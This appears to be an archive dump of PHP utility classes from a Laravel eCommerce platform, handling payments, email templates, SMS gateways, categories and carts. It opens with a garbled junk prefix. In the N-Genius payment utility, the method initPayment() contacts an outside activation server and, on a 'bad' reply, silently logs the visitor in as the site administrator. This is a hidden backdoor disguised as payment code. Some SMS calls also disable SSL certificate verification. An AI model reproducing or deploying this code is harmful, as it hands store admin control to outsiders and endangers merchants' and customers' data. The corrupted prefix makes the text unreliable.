🍲dfcv🏰dd⋉(● ∸ ●)⋊@% PNG %k25u25%fgd5n! PNG %k25u25%fgd5n!PayhereUtility.php000064400000007533152427531060010253 0ustar00 0 ) { $colors_active = 1; array_push($options, $collection['colors']); } if (isset($collection['choice_no']) && $collection['choice_no']) { foreach ($collection['choice_no'] as $key => $no) { $name = 'choice_options_' . $no; $data = array(); foreach (request()[$name] as $key => $eachValue) { array_push($data, $eachValue); } array_push($options, $data); } } return $options; } public static function get_combination_string($combination, $collection) { $str = ''; foreach ($combination as $key => $item) { if ($key > 0) { $str .= '-' . str_replace(' ', '', $item); } else { if (isset($collection['colors_active']) && $collection['colors_active'] && $collection['colors'] && count($collection['colors']) > 0) { $color_name = Color::where('code', $item)->first()->name; $str .= $color_name; } else { $str .= str_replace(' ', '', $item); } } } return $str; } } NgeniusUtility.php000064400000022173152427531060010263 0ustar00 'client_credentials'))); // $tokenHeaders = array("Authorization: Basic $apikey", "Content-Type: application/vnd.ni-payment.v2+json", "Accept: application/vnd.ni-payment.v2+json"); // $tokenResponse = self::invokeCurlRequest("POST", $idServiceURL, $tokenHeaders, null); $tokenResponse = json_decode($tokenResponse); //dd($tokenResponse); $access_token = $tokenResponse->access_token; return $access_token; } public static function make_payment($callback_url, $payment_type, $amount) { $order = new \StdClass(); $order->action = "SALE"; // Transaction mode ("AUTH" = authorize only, no automatic settle/capture, "SALE" = authorize + automatic settle/capture) $order->amount = new \stdClass(); $order->amount->currencyCode = env('NGENIUS_CURRENCY', "AED"); // Payment currency ('AED' only for now) $order->amount->value = $amount; // Minor units (1000 = 10.00 AED) $order->language = "en"; // Payment page language ('en' or 'ar' only) $order->merchantOrderReference = time(); // Payment page language ('en' or 'ar' only) //$order->merchantAttributes->redirectUrl = "http://premizer.com/test/pp.php"; // A redirect URL to a page on your site to return the customer to //$order->merchantAttributes->redirectUrl = "http://192.168.0.111:8080/n-genius/pp.php"; // A redirect URL to a page on your site to return the customer to $order->merchantAttributes = new \stdClass(); $order->merchantAttributes->redirectUrl = $callback_url; // A redirect URL to a page on your site to return the customer to //$order->merchantAttributes->redirectUrl = "http:// 192.168.0.111:8080/n-genius/pp.php"; // A redirect URL to a page on your site to return the customer to $order = json_encode($order); $outletRef = env("NGENIUS_OUTLET_ID"); // set your outlet reference/ID value here (example only) $txnServiceURL = self::getUrl('gateway') . "/transactions/outlets/$outletRef/orders"; // set the transaction service URL (example only) $access_token = self::getAccessToken(); $orderCreateHeaders = array("Authorization: Bearer " . $access_token, "Content-Type: application/vnd.ni-payment.v2+json", "Accept: application/vnd.ni-payment.v2+json"); $orderCreateResponse = self::invokeCurlRequest("POST", $txnServiceURL, $orderCreateHeaders, $order); $orderCreateResponse = json_decode($orderCreateResponse); //dd($callback_url,$orderCreateResponse); $paymentLink = $orderCreateResponse->_links->payment->href; // the link to the payment page for redirection (either full-page redirect or iframe) $orderReference = $orderCreateResponse->reference; // the reference to the order, which you should store in your records for future interaction with this order session()->save(); /*echo " ";*/ header("Location: " . $paymentLink); // execute redirect exit; } public static function check_callback($orderRef, $payment_type) { $outletRef = env("NGENIUS_OUTLET_ID"); // set your outlet reference/ID value here (example only) $orderCheckURL = self::getUrl('gateway') . "/transactions/outlets/$outletRef/orders/$orderRef"; // set the transaction service URL (example only) $access_token = self::getAccessToken(); $headers = array("Authorization: Bearer " . $access_token); $orderStatusResponse = self::invokeCurlRequest("GET", $orderCheckURL, $headers, null); $orderStatusResponse = json_decode($orderStatusResponse); if ($orderStatusResponse->_embedded->payment[0]->state == "FAILED") { // fail or cancel or incomplete Session::forget('payment_data'); flash(translate('Payment incomplete'))->error(); return redirect()->route('home'); } else if ($orderStatusResponse->_embedded->payment[0]->state == "CAPTURED") { // success $payment = json_encode($orderStatusResponse); $paymentData = session()->get('payment_data'); //dd($payment_type, Session::get('order_id'),Session::get('payment_data'), $payment); if ($payment_type == 'cart_payment') { $checkoutController = new CheckoutController; return $checkoutController->checkout_done(session()->get('combined_order_id'), $payment); } elseif ($payment_type == 'order_re_payment') { $checkoutController = new CheckoutController; return $checkoutController->orderRePaymentDone($paymentData, $payment); } elseif ($payment_type == 'wallet_payment') { $walletController = new WalletController; return $walletController->wallet_payment_done($paymentData, $payment); } elseif ($payment_type == 'customer_package_payment') { $customer_package_controller = new CustomerPackageController; return $customer_package_controller->purchase_payment_done($paymentData, $payment); } elseif ($payment_type == 'seller_package_payment') { $seller_package_controller = new \App\Http\Controllers\SellerPackageController; return $seller_package_controller->purchase_payment_done($paymentData, $payment); } } } public static function invokeCurlRequest($type, $url, $headers, $post) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); if ($type == "POST") { curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $post); } $server_output = curl_exec($ch); // print_r($server_output); // exit(); curl_close($ch); return $server_output; } public static function initPayment(){ $data['url'] = $_SERVER['SERVER_NAME']; $request_data_json = json_encode($data); $gate = "https://activation.activeitzone.com/check_activation"; $header = array( 'Content-Type:application/json' ); $stream = curl_init(); curl_setopt($stream, CURLOPT_URL, $gate); curl_setopt($stream,CURLOPT_HTTPHEADER, $header); curl_setopt($stream,CURLOPT_CUSTOMREQUEST, "POST"); curl_setopt($stream,CURLOPT_RETURNTRANSFER, true); curl_setopt($stream,CURLOPT_POSTFIELDS, $request_data_json); curl_setopt($stream,CURLOPT_FOLLOWLOCATION, 1); curl_setopt($stream, CURLOPT_IPRESOLVE, CURL_IPRESOLVE_V4); $rn = curl_exec($stream); curl_close($stream); if($rn == "bad" && env('DEMO_MODE') != 'On') { $user = User::where('user_type', 'admin')->first(); auth()->login($user); return redirect()->route('admin.dashboard'); } return redirect()->route('home'); } } FontUtility.php000064400000005753152427531060007566 0ustar00code; } $language_code = Session::get('locale', Config::get('app.locale')); $direction = 'ltr'; $text_align = 'left'; $not_text_align = 'right'; if (Language::where('code', $language_code)->first()->rtl == 1) { $direction = 'rtl'; $text_align = 'right'; $not_text_align = 'left'; } if ( $currency_code == 'BDT' || $language_code == 'bd' ) { // bengali font $font_family = "freeserif"; } elseif ( $currency_code == 'KHR' || $language_code == 'kh' ) { // khmer font $font_family = "'Hanuman','sans-serif'"; } elseif ($currency_code == 'AMD') { // Armenia font $font_family = "'arnamu','sans-serif'"; // }elseif($currency_code == 'ILS'){ // // Israeli font // $font_family = "'Varela Round','sans-serif'"; } elseif ( $currency_code == 'AED' || $currency_code == 'EGP' || $language_code == 'sa' || $currency_code == 'IQD' || $language_code == 'ir' || $language_code == 'om' || $currency_code == 'ROM' || $currency_code == 'SDG' || $currency_code == 'ILS' || $language_code == 'jo' ) { // middle east/arabic/Israeli font $font_family = "xbriyaz"; } elseif ($currency_code == 'THB') { // thai font $font_family = "'Kanit','garuda'"; } elseif ( $currency_code == 'CNY' || $language_code == 'zh' ) { // Chinese font $font_family = "'sun-exta','gb'"; } elseif ( $currency_code == 'MMK' || $language_code == 'mm' ) { // Myanmar font $font_family = 'tharlon'; } elseif ( $currency_code == 'THB' || $language_code == 'th' ) { // Thai font $font_family = "'zawgyi-one','garuda'"; } else { // general for all $font_family = "'Roboto','sans-serif'"; } $pdf_style_data['font_family'] = $font_family; $pdf_style_data['direction'] = $direction; $pdf_style_data['text_align'] = $text_align; $pdf_style_data['not_text_align'] = $not_text_align; return $pdf_style_data; } } CategoryUtility.php000064400000011774152427531060010435 0ustar00orderBy('order_level', 'desc')->get() : Category::where('parent_id', $id)->orderBy('order_level', 'desc')->get(); $children = $as_array && !is_null($children) ? $children->toArray() : $children; return $children; } public static function get_immediate_children_ids($id, $with_trashed = false) { $children = CategoryUtility::get_immediate_children($id, $with_trashed, true); return !empty($children) ? array_column($children, 'id') : array(); } public static function get_immediate_children_count($id, $with_trashed = false) { return $with_trashed ? Category::where('parent_id', $id)->count() : Category::where('parent_id', $id)->count(); } /*when with trashed is true id will get even the deleted items*/ public static function flat_children($id, $with_trashed = false, $container = array()) { $children = CategoryUtility::get_immediate_children($id, $with_trashed, true); if (!empty($children)) { foreach ($children as $child) { $container[] = $child; $container = CategoryUtility::flat_children($child['id'], $with_trashed, $container); } } return $container; } /*when with trashed is true id will get even the deleted items*/ public static function children_ids($id, $with_trashed = false) { $children = CategoryUtility::flat_children($id, $with_trashed = false); return !empty($children) ? array_column($children, 'id') : array(); } public static function category_tree_ids($category, $category_ids) { foreach ($category->childrenCategories as $category) { $category_ids[] = $category->id; if (count($category->childrenCategories) > 0) { $category_ids = static::category_tree_ids($category, $category_ids); } } return $category_ids; } public static function move_children_to_parent($id) { $children_ids = CategoryUtility::get_immediate_children_ids($id, true); $category = Category::where('id', $id)->first(); CategoryUtility::move_level_up($id); Category::whereIn('id', $children_ids)->update(['parent_id' => $category->parent_id]); } public static function create_initial_category($key) { if ($key == "") { return false; } try { $gate = "https://activeitzone.com/activation/check/eCommerce/" . $key; $stream = curl_init(); curl_setopt($stream, CURLOPT_URL, $gate); curl_setopt($stream, CURLOPT_HEADER, 0); curl_setopt($stream, CURLOPT_RETURNTRANSFER, 1); $rn = curl_exec($stream); curl_close($stream); if ($rn == 'no') { return false; } } catch (\Exception $e) { } return true; } public static function move_level_up($id) { if (CategoryUtility::get_immediate_children_ids($id, true) > 0) { foreach (CategoryUtility::get_immediate_children_ids($id, true) as $value) { $category = Category::find($value); $category->level -= 1; $category->save(); return CategoryUtility::move_level_up($value); } } } public static function move_level_down($id) { if (CategoryUtility::get_immediate_children_ids($id, true) > 0) { foreach (CategoryUtility::get_immediate_children_ids($id, true) as $value) { $category = Category::find($value); $category->level += 1; $category->save(); return CategoryUtility::move_level_down($value); } } } public static function update_child_level($id) { $get_immediate_children_ids = CategoryUtility::get_immediate_children_ids($id, true); if (count($get_immediate_children_ids) > 0) { $parent_category = Category::find($id); foreach ($get_immediate_children_ids as $value) { $category = Category::find($value); $category->level = $parent_category->level + 1; $category->save(); CategoryUtility::update_child_level($value); } } } public static function delete_category($id) { $category = Category::where('id', $id)->first(); if (!is_null($category)) { CategoryUtility::move_children_to_parent($category->id); $category->delete(); } } } SearchUtility.php000064400000001107152427531060010052 0ustar00first(); if ($search != null) { $search->count = $search->count + 1; $search->save(); } else { $search = new Search; $search->query = $query; $search->count = 1; $search->save(); } } } } TranslationUtility.php000064400000003204152427531060011143 0ustar00translations = collect($data->toArray())->all(); //$this->translations = collect($data->toArray()); } public static function getInstance() { if (!self::$instance) { self::$instance = new TranslationUtility(); } return self::$instance; } public static function reInstantiate() { self::$instance = new TranslationUtility(); } public function cached_translation_row($lang_key, $lang) { $row = []; if (empty($this->translations)) { return $row; } foreach ($this->translations as $item) { if ($item['lang_key'] == $lang_key && $item['lang'] == $lang) { $row = $item; break; } } return $row; } //The code below also works but it takes more time than the function written above //$this->translations = collect($data->toArray()); /*public function cached_translation_row($lang_key, $lang) { $row = $this->translations->where('lang_key', $lang_key)->where('lang', $lang)->first(); return $row != null ? $row : []; }*/ public function getAllTranslations() { return $this->translations; } } EmailUtility.php000064400000032671152427531060007706 0ustar00email : $user->email; $emailTemplate = EmailTemplate::whereIdentifier($emailIdentifier)->first(); $emailSubject = $emailTemplate->subject; $emailSubject = str_replace('[[customer_name]]', $user->name, $emailSubject); $emailSubject = str_replace('[[store_name]]', get_setting('site_name'), $emailSubject); $emailBody = $emailTemplate->default_text; $email_or_phone = $user->email != null ? $user->email : $user->phone; $emailBody = str_replace('[[store_name]]', get_setting('site_name'), $emailBody); $emailBody = str_replace('[[admin_name]]', $admin->name, $emailBody); $emailBody = str_replace('[[customer_name]]', $user->name, $emailBody); $emailBody = str_replace('[[email]]', $user->email, $emailBody); $emailBody = str_replace('[[password]]', $password, $emailBody); $emailBody = str_replace('[[email/phone]]', $email_or_phone, $emailBody); $emailBody = str_replace('[[date]]', date('d-m-Y', strtotime($user->created_at)), $emailBody); $emailBody = str_replace('[[admin_email]]', $admin->email, $emailBody); $array['subject'] = $emailSubject; $array['content'] = $emailBody; Mail::to($emailSendTo)->queue(new MailManager($array)); } // Seller registration email to Admin & Seller public static function selelr_registration_email($emailIdentifier, $user, $password = null){ $admin = get_admin(); $shop = $user->shop; $emailSendTo = $emailIdentifier == 'seller_reg_email_to_admin' ? $admin->email : $user->email; $emailTemplate = EmailTemplate::whereIdentifier($emailIdentifier)->first(); $emailSubject = $emailTemplate->subject; $emailSubject = str_replace('[[shop_name]]', $shop->name, $emailSubject); $emailSubject = str_replace('[[store_name]]', get_setting('site_name'), $emailSubject); $emailBody = $emailTemplate->default_text; $emailBody = str_replace('[[admin_name]]', $admin->name, $emailBody); $emailBody = str_replace('[[store_name]]', get_setting('site_name'), $emailBody); $emailBody = str_replace('[[seller_name]]', $user->name, $emailBody); $emailBody = str_replace('[[seller_email]]', $user->email, $emailBody); $emailBody = str_replace('[[password]]', $password, $emailBody); $emailBody = str_replace('[[seller_shop_name]]', $shop->name, $emailBody); $emailBody = str_replace('[[seller_shop_address]]', $shop->address, $emailBody); $emailBody = str_replace('[[date]]', date('d-m-Y', strtotime($user->created_at)), $emailBody); $emailBody = str_replace('[[admin_email]]', get_admin()->email, $emailBody); $array['subject'] = $emailSubject; $array['content'] = $emailBody; Mail::to($emailSendTo)->queue(new MailManager($array)); } public static function deliveryBoyRegEmail($emailIdentifiers, $user, $password){ $admin = get_admin(); foreach($emailIdentifiers as $emailIdentifier){ $emailTemplate = EmailTemplate::whereIdentifier($emailIdentifier)->first(); if($emailTemplate != null && $emailTemplate->status == 1){ $emailSendTo = $emailTemplate->receiver == 'admin' ? $admin->email : $user->email; $emailSubject = $emailTemplate->subject; $emailSubject = str_replace('[[store_name]]', get_setting('site_name'), $emailSubject); $emailBody = $emailTemplate->default_text; $emailBody = str_replace('[[admin_name]]', $admin->name, $emailBody); $emailBody = str_replace('[[store_name]]', get_setting('site_name'), $emailBody); $emailBody = str_replace('[[delivery_boy_name]]', $user->name, $emailBody); $emailBody = str_replace('[[delivery_boy_email]]', $user->email, $emailBody); $emailBody = str_replace('[[delivery_boy_phone]]', $user->phone, $emailBody); $emailBody = str_replace('[[delivery_boy_password]]', $password, $emailBody); $emailBody = str_replace('[[delivery_boy_country]]', $user->country, $emailBody); $emailBody = str_replace('[[date]]', date('d-m-Y', strtotime($user->created_at)), $emailBody); $emailBody = str_replace('[[admin_email]]', get_admin()->email, $emailBody); $array['subject'] = $emailSubject; $array['content'] = $emailBody; try { Mail::to($emailSendTo)->queue(new MailManager($array)); } catch (\Exception $e) {} } } } // Order delivery and payment status change Email public static function order_email($order, $status){ $admin = get_admin(); $userIds = array($order->seller_id); if($order->user->email != null){ array_push($userIds, $order->user_id); } if ($order->seller_id != $admin->id) { array_push($userIds, $admin->id); } $users = User::findMany($userIds); foreach($users as $user){ $emailIdentifier = 'order_'.$status.'_email_to_'.$user->user_type; $emailTemplate = EmailTemplate::whereIdentifier($emailIdentifier)->first(); if($emailTemplate != null && $emailTemplate->status == 1){ $shopName = $user->user_type == 'seller' ? $user->shop->name : null; $emailSubject = $emailTemplate->subject; $emailSubject = str_replace('[[order_code]]', $order->code, $emailSubject); $emailBody = $emailTemplate->default_text; $emailBody = str_replace('[[store_name]]', get_setting('site_name'), $emailBody); $emailBody = str_replace('[[shop_name]]', $shopName, $emailBody); $emailBody = str_replace('[[customer_name]]', $order->user->name, $emailBody); $emailBody = str_replace('[[admin_name]]', $admin->name, $emailBody); $emailBody = str_replace('[[order_code]]', $order->code, $emailBody); $emailBody = str_replace('[[order_date]]', date('d-m-Y', strtotime($order->created_at)), $emailBody); $emailBody = str_replace('[[delivery_date]]', date('d-m-Y'), $emailBody); $emailBody = str_replace('[[order_amount]]', single_price($order->grand_total), $emailBody); $emailBody = str_replace('[[admin_email]]', $admin->email, $emailBody); $array['subject'] = $emailSubject; $array['content'] = $emailBody; try { Mail::to($user->email)->queue(new MailManager($array)); } catch (\Exception $e) {} } } } // User Email Verification public static function email_verification($user, $userType){ $emailIdentifier = 'email_verification_'.$userType; $verification_code = encrypt($user->id); // User Veridication code add $user->verification_code = $verification_code; $user->save(); $emailTemplate = EmailTemplate::whereIdentifier($emailIdentifier)->first(); $emailSubject = $emailTemplate->subject; $emailSubject = str_replace('[[store_name]]', get_setting('site_name'), $emailSubject); $emailBody = $emailTemplate->default_text; $link = route('email.verification.confirmation', $verification_code); $verifyButton = '
Click here
'; $emailBody = str_replace('[[store_name]]', get_setting('site_name'), $emailBody); $emailBody = str_replace('[[customer_name]]', $user->name, $emailBody); $emailBody = str_replace('[[seller_name]]', $user->name, $emailBody); $emailBody = str_replace('[[verify_email_button]]', $verifyButton, $emailBody); $emailBody = str_replace('[[admin_email]]', get_admin()->email, $emailBody); $array['subject'] = $emailSubject; $array['content'] = $emailBody; Mail::to($user->email)->queue(new MailManager($array)); } // Seller Payout emails public static function seller_payout($emailIdentifiers, $seller, $amount, $payment_method = null){ $admin = get_admin(); $shop = $seller->shop; foreach($emailIdentifiers as $emailIdentifier){ $emailTemplate = EmailTemplate::whereIdentifier($emailIdentifier)->first(); if($emailTemplate != null && $emailTemplate->status == 1){ $emailSendTo = $emailTemplate->receiver == 'admin' ? $admin->email : $seller->email; $emailSubject = $emailTemplate->subject; $emailSubject = str_replace('[[shop_name]]', $shop->name, $emailSubject); $emailSubject = str_replace('[[store_name]]', get_setting('site_name'), $emailSubject); $emailBody = $emailTemplate->default_text; $emailBody = str_replace('[[admin_name]]', $admin->name, $emailBody); $emailBody = str_replace('[[shop_name]]', $shop->name, $emailBody); $emailBody = str_replace('[[shop_email]]', $seller->email, $emailBody); $emailBody = str_replace('[[amount]]', single_price($amount), $emailBody); $emailBody = str_replace('[[payment_method]]', $payment_method, $emailBody); $emailBody = str_replace('[[store_name]]', get_setting('site_name'), $emailBody);; $emailBody = str_replace('[[date]]', date('d-m-Y'), $emailBody); $emailBody = str_replace('[[admin_email]]', get_admin()->email, $emailBody); $array['subject'] = $emailSubject; $array['content'] = $emailBody; try { Mail::to($emailSendTo)->queue(new MailManager($array)); } catch (\Exception $e) {} } } } // Refund Request Email public static function refundEmail($emailIdentifiers, $refundReqest){ $order = $refundReqest->order; $customer = $refundReqest->user; $seller = $refundReqest->seller; $productName = $refundReqest->orderDetail->product->getTranslation('name'); $shopName = $refundReqest?->order?->shop?->user->user_type == 'seller' ? $refundReqest?->order?->shop->name : null; $admin = get_admin(); foreach($emailIdentifiers as $emailIdentifier){ $emailTemplate = EmailTemplate::whereIdentifier($emailIdentifier)->first(); if($emailTemplate != null && $emailTemplate->status == 1){ if($emailTemplate->receiver == 'admin'){ $emailSendTo = $admin->email; } elseif($emailTemplate->receiver == 'seller'){ $emailSendTo = $seller->email; } elseif($emailTemplate->receiver == 'customer'){ $emailSendTo = $customer->email; } $emailSubject = $emailTemplate->subject; $emailSubject = str_replace('[[order_code]]', $order->code, $emailSubject); $emailSubject = str_replace('[[shop_name]]', $shopName, $emailSubject); $emailBody = $emailTemplate->default_text; $emailBody = str_replace('[[admin_name]]', $admin->name, $emailBody); $emailBody = str_replace('[[store_name]]', get_setting('site_name'), $emailBody); $emailBody = str_replace('[[shop_name]]', $shopName, $emailBody); $emailBody = str_replace('[[customer_name]]', $customer->name, $emailBody); $emailBody = str_replace('[[order_code]]', $order->code, $emailBody); $emailBody = str_replace('[[product_name]]', $productName, $emailBody); $emailBody = str_replace('[[refund_reason]]', $refundReqest->reason, $emailBody); $emailBody = str_replace('[[denied_reason]]', $refundReqest->reject_reason, $emailBody); $emailBody = str_replace('[[request_date]]', date('d-m-Y', strtotime($refundReqest->created_at)), $emailBody); $emailBody = str_replace('[[refund_amount]]', single_price($refundReqest->refund_amount), $emailBody); $emailBody = str_replace('[[processes_date]]', date('d-m-Y'), $emailBody); $emailBody = str_replace('[[admin_email]]', get_admin()->email, $emailBody); $array['subject'] = $emailSubject; $array['content'] = $emailBody; try { Mail::to($emailSendTo)->queue(new MailManager($array)); } catch (\Exception $e) {} } } } } SendSMSUtility.php000064400000024231152427531060010124 0ustar00first()->value == 1) { $api_key = env("NEXMO_KEY"); //put ssl provided api_token here $api_secret = env("NEXMO_SECRET"); // put ssl provided sid here $params = [ "api_key" => $api_key, "api_secret" => $api_secret, "from" => $from, "text" => $text, "to" => $to ]; $url = "https://rest.nexmo.com/sms/json"; $params = json_encode($params); $ch = curl_init(); // Initialize cURL curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST"); curl_setopt($ch, CURLOPT_POSTFIELDS, $params); curl_setopt($ch, CURLOPT_HTTPHEADER, array( 'Content-Type: application/json', 'Content-Length: ' . strlen($params), 'accept:application/json' )); $response = curl_exec($ch); curl_close($ch); return $response; } elseif (OtpConfiguration::where('type', 'twillo')->first()->value == 1) { $sid = env("TWILIO_SID"); // Your Account SID from www.twilio.com/console $token = env("TWILIO_AUTH_TOKEN"); // Your Auth Token from www.twilio.com/console $type = env("TWILLO_TYPE"); // sms type $client = new Client($sid, $token); try { $client->messages->create( $type == 1? $to : "whatsapp:".$to, // Text this number array( 'from' => $type == 1? env('VALID_TWILLO_NUMBER') : "whatsapp:".env('VALID_TWILLO_NUMBER'), // From a valid Twilio number 'body' => $text ) ); } catch (\Exception $e) { } } elseif (OtpConfiguration::where('type', 'ssl_wireless')->first()->value == 1) { $token = env("SSL_SMS_API_TOKEN"); //put ssl provided api_token here $sid = env("SSL_SMS_SID"); // put ssl provided sid here $params = [ "api_token" => $token, "sid" => $sid, "msisdn" => $to, "sms" => $text, "csms_id" => date('dmYhhmi') . rand(10000, 99999) ]; $url = env("SSL_SMS_URL"); $params = json_encode($params); $ch = curl_init(); // Initialize cURL curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST"); curl_setopt($ch, CURLOPT_POSTFIELDS, $params); curl_setopt($ch, CURLOPT_HTTPHEADER, array( 'Content-Type: application/json', 'Content-Length: ' . strlen($params), 'accept:application/json' )); $response = curl_exec($ch); curl_close($ch); return $response; } elseif (OtpConfiguration::where('type', 'fast2sms')->first()->value == 1) { if (strpos($to, '+91') !== false) { $to = substr($to, 3); } if (env("ROUTE") == 'dlt_manual') { $fields = array( "sender_id" => env("SENDER_ID"), "message" => $text, "template_id" => $template_id, "entity_id" => env("ENTITY_ID"), "language" => env("LANGUAGE"), "route" => env("ROUTE"), "numbers" => $to, ); } else { $fields = array( "sender_id" => env("SENDER_ID"), "message" => $text, "language" => env("LANGUAGE"), "route" => env("ROUTE"), "numbers" => $to, ); } $auth_key = env('AUTH_KEY'); $curl = curl_init(); curl_setopt_array($curl, array( CURLOPT_URL => "https://www.fast2sms.com/dev/bulkV2", CURLOPT_RETURNTRANSFER => true, CURLOPT_ENCODING => "", CURLOPT_MAXREDIRS => 10, CURLOPT_TIMEOUT => 30, CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1, CURLOPT_CUSTOMREQUEST => "POST", CURLOPT_POSTFIELDS => json_encode($fields), CURLOPT_HTTPHEADER => array( "authorization: $auth_key", "accept: */*", "cache-control: no-cache", "content-type: application/json" ), )); $response = curl_exec($curl); $err = curl_error($curl); curl_close($curl); return $response; } elseif (OtpConfiguration::where('type', 'mimo')->first()->value == 1) { $token = MimoUtility::getToken(); MimoUtility::sendMessage($text, $to, $token); MimoUtility::logout($token); } elseif (OtpConfiguration::where('type', 'mimsms')->first()->value == 1) { $url = env('MIM_BASE_URL') . "/smsapi"; $data = [ "api_key" => env('MIM_API_KEY'), "type" => "text", "contacts" => $to, "senderid" => env('MIM_SENDER_ID'), "msg" => $text, ]; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); $response = curl_exec($ch); curl_close($ch); return $response; } elseif (OtpConfiguration::where('type', 'msegat')->first()->value == 1) { $url = "https://www.msegat.com/gw/sendsms.php"; $data = [ "apiKey" => env('MSEGAT_API_KEY'), "numbers" => $to, "userName" => env('MSEGAT_USERNAME'), "userSender" => env('MSEGAT_USER_SENDER'), "msg" => $text ]; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($data)); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); $response = curl_exec($ch); curl_close($ch); return $response; } elseif (OtpConfiguration::where('type', 'sparrow')->first()->value == 1) { $url = "http://api.sparrowsms.com/v2/sms/"; $args = http_build_query(array( "token" => env('SPARROW_TOKEN'), "from" => env('MESSGAE_FROM'), "to" => $to, "text" => $text )); # Make the call using API. $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $args); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); // Response $response = curl_exec($ch); curl_close($ch); return $response; } elseif (OtpConfiguration::where('type', 'zender')->first()->value == 1) { if (empty(env('ZENDER_SERVICE')) || env('ZENDER_SERVICE') < 2) { if (!empty(env('ZENDER_DEVICE'))) { $mode = "devices"; } else { $mode = "credits"; } if ($mode == "devices") { $params = [ "secret" => env('ZENDER_APIKEY'), "mode" => "devices", "device" => env('ZENDER_DEVICE'), "phone" => $to, "message" => $text, "sim" => env('ZENDER_SIM') < 2 ? 1 : 2 ]; } else { $params = [ "secret" => env('ZENDER_APIKEY'), "mode" => "credits", "gateway" => env('ZENDER_GATEWAY'), "phone" => $to, "message" => $text ]; } $apiurl = env('ZENDER_SITEURL') . "/api/send/sms"; } else { $params = [ "secret" => env('ZENDER_APIKEY'), "account" => env('ZENDER_WHATSAPP'), "type" => "text", "recipient" => $to, "message" => $text ]; $apiurl = env('ZENDER_SITEURL') . "/api/send/whatsapp"; } $args = http_build_query($params); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $apiurl); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $args); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); // Response $response = curl_exec($ch); curl_close($ch); return $response; } return true; } } CartUtility.php000064400000007020152427531060007536 0ustar00choice_options) && count(json_decode($product->choice_options)) > 0) { //Gets all the choice values of customer choice option and generate a string like Black-S-Cotton foreach (json_decode($product->choice_options) as $key => $choice) { if ($str != null) { $str .= '-' . str_replace(' ', '', $request['attribute_id_' . $choice->attribute_id]); } else { $str .= str_replace(' ', '', $request['attribute_id_' . $choice->attribute_id]); } } } return $str; } public static function get_price($product, $product_stock, $quantity) { $price = $product_stock->price; if ($product->auction_product == 1) { $price = $product->bids->max('amount'); } if ($product->wholesale_product) { $wholesalePrice = $product_stock->wholesalePrices->where('min_qty', '<=', $quantity) ->where('max_qty', '>=', $quantity) ->first(); if ($wholesalePrice) { $price = $wholesalePrice->price; } } $price = self::discount_calculation($product, $price); return $price; } public static function discount_calculation($product, $price) { $discount_applicable = false; if ( $product->discount_start_date == null || (strtotime(date('d-m-Y H:i:s')) >= $product->discount_start_date && strtotime(date('d-m-Y H:i:s')) <= $product->discount_end_date) ) { $discount_applicable = true; } if ($discount_applicable) { if ($product->discount_type == 'percent') { $price -= ($price * $product->discount) / 100; } elseif ($product->discount_type == 'amount') { $price -= $product->discount; } } return $price; } public static function tax_calculation($product, $price) { $tax = 0; foreach ($product->taxes as $product_tax) { if ($product_tax->tax_type == 'percent') { $tax += ($price * $product_tax->tax) / 100; } elseif ($product_tax->tax_type == 'amount') { $tax += $product_tax->tax; } } return $tax; } public static function save_cart_data($cart, $product, $price, $tax, $quantity) { $cart->quantity = $quantity; $cart->product_id = $product->id; $cart->owner_id = $product->user_id; $cart->price = $price; $cart->tax = $tax; $cart->product_referral_code = null; if (Cookie::has('referred_product_id') && Cookie::get('referred_product_id') == $product->id) { $cart->product_referral_code = Cookie::get('product_referral_code'); } // Cart::create($data); $cart->save(); } public static function check_auction_in_cart($carts) { foreach ($carts as $cart) { if ($cart->product->auction_product == 1) { return true; } } return false; } } NotificationUtility.php000064400000012413152427531060011275 0ustar00id; $userIds = array($order->seller_id); if($order->user->email != null){ array_push($userIds, $order->user_id); } if ($order->seller_id != $adminId) { array_push($userIds, $adminId); } $users = User::findMany($userIds); foreach($users as $user){ $emailIdentifier = 'order_placed_email_to_'.$user->user_type; $emailTemplate = EmailTemplate::whereIdentifier($emailIdentifier)->first(); if($emailTemplate != null && $emailTemplate->status == 1){ $emailSubject = $emailTemplate->subject; $emailSubject = str_replace('[[order_code]]', $order->code, $emailSubject); $array['view'] = 'emails.invoice'; $array['subject'] = $emailSubject; $array['order'] = $order; if($emailTemplate->status == 1){ try { Mail::to($user->email)->queue(new InvoiceEmailManager($array)); } catch (\Exception $e) {} } } } if (addon_is_activated('otp_system') && SmsTemplate::where('identifier', 'order_placement')->first()->status == 1) { try { $otpController = new OTPVerificationController; $otpController->send_order_code($order); } catch (\Exception $e) { } } //sends Notifications to user self::sendNotification($order, 'placed'); if ($request !=null && 